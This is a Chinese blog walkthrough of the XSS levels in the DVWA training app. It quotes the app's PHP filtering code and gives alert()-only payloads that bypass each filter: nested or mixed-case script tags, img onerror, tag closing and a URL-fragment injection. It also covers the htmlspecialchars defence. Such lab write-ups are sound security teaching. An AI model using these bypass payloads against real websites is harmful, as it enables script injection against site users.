DVWA XSS漏洞

一、Reflected XSS

1.1Low

没有任何的过滤,直接插入我们的注入语句。

<script>alert(/hello world/)</script>

1.2medium

审计一下源码发现有了一层简单的过滤处理。

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );//匹配到该字符串就用空格替换,我们需要双写绕过,或则使用大小写绕过

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

<s<script>cript>alert(/hello world/)</sc<script>ript>

<SCript>alert(/hello world/)</sCRipt>

 

1.3high

代码审计,发现关于script的标签无法使用,这个时候我们只能进行标签改变进行处理。

使用img标签进行注入。

payload:<img src=0 οnerrοr=alert("Hello")>

​
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

​

1.4impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

其中使用了htmlspecialchars函数 ,将我们所输入的字符全部转化成字符串实体,不能发挥出标签的作用,所以无法注入。

二、Store XSS

2.1Low

这个场景就是模拟网络留言板的Xss注入,这里有两个对话框,我们都将我们的注入语句插入其中寻找注入点,发现注入点在我们所提交的内容<script>alert("mohe xss")</script>上,毕竟是Low所以直接过。

2.2medium

         审计一下代码,发现也只是一个简单的匹配过滤而已,双写绕过即可。而且注入点是在name那里,所以我们需要使用BS抓包。(本地搭建的我不会用BS抓包,我用的是buu上的靶场)

<scr<script>ipt>alert("mohe xss")</scr<script>ipt> 

 注入成功!!!

2.3high

        感觉和之前的差不多就是过滤掉script,我们换别的标签显示即可。

<img src=0 οnerrοr=alert("mohe xss")>

 

2.4impossible

        和反射性Xss一样也是使用htmlspecialchars函数将我们输入地语句变为实体,也就是字符串,是我们的插入语句不能执行,变为字符串直接输出。

三、DOM XSS

3.1Low

没过滤,直接插入。

3.2medium

审计代码,告诉我们输入的参数中有<script,即失败,所以我们绕过即可,换个标签插入。 

</option></select><img src=1 οnerrοr=alert("xss")>,并且在输入的过程中要进行闭合处理。不然还是无法显示出我们注入的内容。

 

3.3high

这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行。所以我们进行尝试
default=English#<script>alert("xss")</script>

 

3.4impossible

Don't need to do anything, protction handled on the client side!!!

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值